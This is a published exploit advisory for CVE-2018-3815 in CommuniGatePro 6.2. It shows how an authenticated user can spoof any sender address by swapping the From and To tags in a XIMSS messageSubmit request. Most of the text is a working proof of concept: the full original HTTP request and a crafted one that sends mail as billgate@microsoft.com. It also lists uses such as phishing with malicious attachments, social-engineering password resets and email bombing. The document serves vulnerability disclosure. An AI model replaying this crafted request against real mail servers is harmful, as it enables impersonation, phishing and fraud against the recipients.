# Exploit Title: CommuniGatePro 6.2 - Missing XIMSS tags validation
# Date: 02/01/2018
# Exploit Author: Boumediene KADDOUR
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.stalker.com/
# Software Link: https://www.stalker.com/ (paid product)
# Version: 6.2.x <
# Tested on: production server on crystal, pronto, pronto4, pronto5 and all
other webmails.
# CVE: CVE-2018-3815

=============
*Description:*
=============

CommunigatePro XML Interface to Messaging, Scheduling, and Signaling
protocol ("XIMSS") version 6.2 suffers from a Missing XIMSS protocol
Validation attack that leads to an email spoofing attack. A malicious
authenticated attacker will be able to craft the sending XIMSS request used
to send an email via changing the <From></From> tags by <To></To> tags and
vice versa, ending up sending an email from any source email of his/her
choice e.g. billgate@microsoft.com to any destination email, which leads to
receiving the email on the victim's INBOX.


==========
*Impact:*
==========
1. An attacker can trick someone to click on malicious attachments (virus,
malware...etc) from trusted sources (e.g. an email coming from CEO).
2. This trust can give an attacker the ability to request for crucial files
or valuable reports from an employee in charge of a given service.
3. This trust can give an attacker the ability to request the mail
administrator or system administrator to reset his/her password to a
suggested one (mypassword123).
4. An attacker can perform an email bomb attack which is a form of network
abuse consisting of sending huge volumes of email to an address in an
attempt to overflow the mailbox. A good target can be the CEO's email
address.
6. etc...


========================================================================
*Original request*
========================================================================
POST /Session/169095-AwcluJEFLAazFLAE521azfF-lls5cdc/sync?reqSeq=20&random=20
HTTP/1.1
Host: mail.victim-domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mail.victim-domain.com/?Skin=hPronto-
Content-Length: 747
Content-Type: application/xml;charset=UTF-8
Cookie: __utma=234654222.2016661159.2018875581.5355870481.1510505641.2;
__utmz=89633334.1499870481.1.1.utmcsr=google|utmccn=(
organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

<XIMSS><folderOpen mailbox="Brouillons" mailboxClass=""
folder="Brouillons-MM-1" sortField="INTERNALDATE"
id="39"><field>Subject</field><field>INTERNALDATE</field></folderOpen><messageSubmit
targetMailbox="ElAA(c)ments envoyAA(c)s" mailboxClass="" flags="Seen"
dataset="RecentAddresses" id="40"><EMail charset="utf-8"><X-Mailer>CommuniGate
Pronto! HTML5 6.2.3925</X-Mailer>*<To>billgate@microsoft.com
<billgate@microsoft.com></To>*<Subject>POC</Subject><MIME-Version>1.0</MIME-Version><MIME
type="text" subtype="plain" charset="utf-8" format="flowed">My PoC.
---------------
Boumediene KADDOUR, OSCP, OSWP
Cyber Security Researcher R&D
Mobile: 00213 661 000 000
</MIME>*<From* realName="Boumediene KADDOUR"*>*
*snboumediene[AT]gmail[DOT]com**</From>*</EMail></messageSubmit></XIMSS>

==========================================================================
Crafted Request: sending an email from billgate@microsoft.com to
snboumediene[AT]gmail[DOT]com
==========================================================================
POST /Session/169095-AwcluJEFLAazFLAE521azfF-lls5cdc/sync?reqSeq=20&random=20
HTTP/1.1
Host: mail.victim-domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mail.victim-domain.com/?Skin=hPronto-
Content-Length: 747
Content-Type: application/xml;charset=UTF-8
Cookie: __utma=234654222.2016661159.2018875581.5355870481.1510505641.2;
__utmz=89633334.1499870481.1.1.utmcsr=google|utmccn=(
organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

<XIMSS><folderOpen mailbox="Brouillons" mailboxClass=""
folder="Brouillons-MM-1" sortField="INTERNALDATE"
id="39"><field>Subject</field><field>INTERNALDATE</field></folderOpen><messageSubmit
targetMailbox="ElAA(c)ments envoyAA(c)s" mailboxClass="" flags="Seen"
dataset="RecentAddresses" id="40"><EMail charset="utf-8"><X-Mailer>CommuniGate
Pronto! HTML5 6.2.3925</X-Mailer><From>billgate@microsoft.com</From><
Subject>POC</Subject><MIME-Version>1.0</MIME-Version><MIME type="text"
subtype="plain" charset="utf-8" format="flowed">My PoC.
Regards
</MIME>*<To* realName="Boumediene KADDOUR"*>snboumediene[AT]gmail[.]com
<https://gmail.com></To>*</EMail></messageSubmit></XIMSS>